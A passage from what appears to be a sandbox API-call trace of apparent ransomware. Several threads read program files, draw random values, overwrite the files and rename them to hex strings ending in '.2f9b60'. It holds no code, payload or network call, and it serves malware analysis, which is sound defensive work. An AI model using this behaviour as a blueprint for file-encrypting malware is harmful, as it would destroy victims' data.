lpBuffer=0x1dc8f880*, lpNumberOfBytesRead=0x1dc8f8c8*=0x4, lpOverlapped=0x0) returned 1 [0228.868] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0228.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40c0 [0228.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4120 [0228.869] NtQuerySystemTime (in: CurrentTime=0x1dc8f7c0 | out: CurrentTime=0x1dc8f7c0*=132462178328686000) returned 0x0 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x738673f7 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x4e2657b5 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x31f845af [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0xf6872af [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x67096e2b [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x2f91eb57 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x5ef0a9a2 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x2c8eadd7 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x6ff4c796 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x3a1dc0e5 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x2dcbc95b [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x357c8ecd [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0xafb9b60 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x48948613 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x75c34365 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x38454299 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x42a257ba [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x1eedfda5 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0xa2d4ccc [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x5095d4a6 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x4a5f76ac [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x513395d6 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x725a3553 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x298b7057 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x421b8ef2 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x162a8080 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x44ae65d4 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x66533400 [0228.869] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x6cb8e4f9 [0228.870] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x4ae36698 [0228.870] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x24fb60a7 [0228.870] RtlRandomEx (in: Seed=0x1dc8f7b0 | out: Seed=0x1dc8f7b0) returned 0x3fc04f79 [0228.879] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.879] ReadFile (in: hFile=0xa38, lpBuffer=0x41f5b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc8f820, lpOverlapped=0x0 | out: lpBuffer=0x41f5b4e0*, lpNumberOfBytesRead=0x1dc8f820*=0x3c00, lpOverlapped=0x0) returned 1 [0229.072] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce627d0 [0229.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0229.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0cb0 [0229.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0cb0) returned 1 [0229.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20437790 [0229.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0cb0 [0229.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1d00) returned 1 [0229.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0229.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce627d0) returned 1 [0229.077] WriteFile (in: hFile=0xa38, lpBuffer=0x20437790*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc8f820, lpOverlapped=0x0 | out: lpBuffer=0x20437790*, lpNumberOfBytesWritten=0x1dc8f820*=0x3c00, lpOverlapped=0x0) returned 1 [0239.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20437790) returned 1 [0239.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5b4e0) returned 1 [0239.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313b200 [0239.166] SetFilePointerEx (in: hFile=0xa38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.166] WriteFile (in: hFile=0xa38, lpBuffer=0x42c15dd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1dc8f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c15dd0*, lpNumberOfBytesWritten=0x1dc8f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0242.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265940 [0242.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265940) returned 1 [0242.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0242.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265940 [0242.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0242.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d90) returned 1 [0242.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad7e0 [0242.083] sprintf (in: _Dest=0x431ad7e0, _Format="%c%c" | out: _Dest="95") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7e2, _Format="%c%c" | out: _Dest="80") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7e4, _Format="%c%c" | out: _Dest="69") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7e6, _Format="%c%c" | out: _Dest="28") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7e8, _Format="%c%c" | out: _Dest="83") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7ea, _Format="%c%c" | out: _Dest="81") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7ec, _Format="%c%c" | out: _Dest="58") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7ee, _Format="%c%c" | out: _Dest="d0") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7f0, _Format="%c%c" | out: _Dest="ab") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7f2, _Format="%c%c" | out: _Dest="f1") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7f4, _Format="%c%c" | out: _Dest="33") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7f6, _Format="%c%c" | out: _Dest="5b") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7f8, _Format="%c%c" | out: _Dest="92") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7fa, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7fc, _Format="%c%c" | out: _Dest="8d") returned 2 [0242.083] sprintf (in: _Dest=0x431ad7fe, _Format="%c%c" | out: _Dest="aa") returned 2 [0242.083] sprintf (in: _Dest=0x431ad800, _Format="%c%c" | out: _Dest="05") returned 2 [0242.083] sprintf (in: _Dest=0x431ad802, _Format="%c%c" | out: _Dest="42") returned 2 [0242.083] sprintf (in: _Dest=0x431ad804, _Format="%c%c" | out: _Dest="5f") returned 2 [0242.083] sprintf (in: _Dest=0x431ad806, _Format="%c%c" | out: _Dest="9a") returned 2 [0242.083] sprintf (in: _Dest=0x431ad808, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.084] sprintf (in: _Dest=0x431ad80a, _Format="%c%c" | out: _Dest="2e") returned 2 [0242.084] sprintf (in: _Dest=0x431ad80c, _Format="%c%c" | out: _Dest="f1") returned 2 [0242.084] sprintf (in: _Dest=0x431ad80e, _Format="%c%c" | out: _Dest="04") returned 2 [0242.084] RtlInitAnsiString (in: DestinationString=0x1dc8f948, SourceString="95806928838158d0abf1335b92a88daa05425f9a3d2ef104" | out: DestinationString="95806928838158d0abf1335b92a88daa05425f9a3d2ef104") [0242.084] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dc8f918, SourceString="95806928838158d0abf1335b92a88daa05425f9a3d2ef104", AllocateDestinationString=1 | out: DestinationString="95806928838158d0abf1335b92a88daa05425f9a3d2ef104") returned 0x0 [0242.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431059f0 [0242.084] wcscat (in: _Dest=0x43145640, _Source="958069288381" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381" [0242.084] wcscat (in: _Dest=0x43145640, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381.2f9b60" [0242.084] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381.2f9b60", NtPathName=0x1dc8f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\958069288381.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205f500 Thread: id = 3779 os_tid = 0x150c [0227.620] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip")) returned 0x20 [0227.621] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip", dwFileAttributes=0x20) returned 1 [0227.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d44 [0227.623] GetFileSizeEx (in: hFile=0x1d44, lpFileSize=0x1e66fc60 | out: lpFileSize=0x1e66fc60*=621) returned 1 [0227.623] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.623] ReadFile (in: hFile=0x1d44, lpBuffer=0x1e66fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e66fc28, lpOverlapped=0x0 | out: lpBuffer=0x1e66fbe0*, lpNumberOfBytesRead=0x1e66fc28*=0x4, lpOverlapped=0x0) returned 1 [0228.468] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a10 [0228.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ca0 [0228.469] NtQuerySystemTime (in: CurrentTime=0x1e66fb20 | out: CurrentTime=0x1e66fb20*=132462178324630000) returned 0x0 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x3e3835f6 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x32a6571b [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0xd68a158 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x5ecfec22 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x115584ed [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x5f845a4 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x7f12244b [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x5cae4e6c [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x1a8642a8 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x74841695 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x351fd374 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x24ea5efb [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x453473b1 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x281cbd85 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x3250a59b [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x25ba3e1 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x50c095a8 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x5aaec774 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x217f4053 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x345d4e56 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x79579856 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x10b9726c [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x6563853d [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0xcdd6340 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x256ba643 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x5f79d507 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x3bc512ac [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x6d3374c9 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x42c2fbff [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x1edd30e7 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x2bc25d02 [0228.469] RtlRandomEx (in: Seed=0x1e66fb10 | out: Seed=0x1e66fb10) returned 0x21a6e54e [0228.478] ReadFile (in: hFile=0x1d44, lpBuffer=0x4222d570, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x1e66fb10, lpOverlapped=0x0 | out: lpBuffer=0x4222d570*, lpNumberOfBytesRead=0x1e66fb10*=0x26d, lpOverlapped=0x0) returned 1 [0228.478] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.478] WriteFile (in: hFile=0x1d44, lpBuffer=0x422389a0*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x1e66fb14, lpOverlapped=0x0 | out: lpBuffer=0x422389a0*, lpNumberOfBytesWritten=0x1e66fb14*=0x26d, lpOverlapped=0x0) returned 1 [0233.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9b0 [0233.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0233.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d960) returned 1 [0233.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422389a0) returned 1 [0233.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4222d570) returned 1 [0233.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c8c0) returned 1 [0233.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61240) returned 1 [0233.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x431adce0 [0233.418] SetFilePointerEx (in: hFile=0x1d44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.418] WriteFile (in: hFile=0x1d44, lpBuffer=0x42c21390*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1e66fc30, lpOverlapped=0x0 | out: lpBuffer=0x42c21390*, lpNumberOfBytesWritten=0x1e66fc30*=0x11c, lpOverlapped=0x0) returned 1 [0235.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0235.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2120) returned 1 [0235.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431adde0 [0235.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2120 [0235.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0235.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1340) returned 1 [0235.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858cd0 [0235.857] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.857] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.857] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.857] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="78") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="31") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="18") returned 2 [0235.858] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="7f") returned 2 [0235.858] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="75") returned 2 [0235.858] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="91") returned 2 [0235.858] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="3e") returned 2 [0235.858] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="99") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="67") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="41") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="11") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="23") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.858] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="04") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="62") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="90") returned 2 [0235.858] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="af") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="25") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="52") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="90") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="48") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="51") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d1c, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d1e, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d20, _Format="%c%c" | out: _Dest="53") returned 2 [0235.859] sprintf (in: _Dest=0x1b858d22, _Format="%c%c" | out: _Dest="72") returned 2 [0235.859] RtlInitAnsiString (in: DestinationString=0x1e66fca8, SourceString="ef7e7c789e31d3187f75913e996741cd9a6aefe11123e8d404cfa862a090af2db125529048511a2e5372" | out: DestinationString="ef7e7c789e31d3187f75913e996741cd9a6aefe11123e8d404cfa862a090af2db125529048511a2e5372") [0235.859] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e66fc78, SourceString="ef7e7c789e31d3187f75913e996741cd9a6aefe11123e8d404cfa862a090af2db125529048511a2e5372", AllocateDestinationString=1 | out: DestinationString="ef7e7c789e31d3187f75913e996741cd9a6aefe11123e8d404cfa862a090af2db125529048511a2e5372") returned 0x0 [0235.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43128960 [0235.860] wcscat (in: _Dest=0x1b78e980, _Source="ef7e7c789e31d3187f759" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759" [0235.860] wcscat (in: _Dest=0x1b78e980, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759.2f9b60" [0235.860] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759.2f9b60", NtPathName=0x1e66fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ef7e7c789e31d3187f759.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x42c14cf0 Thread: id = 3780 os_tid = 0x1e98 [0227.625] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip")) returned 0x20 [0228.219] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip", dwFileAttributes=0x20) returned 1 [0228.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 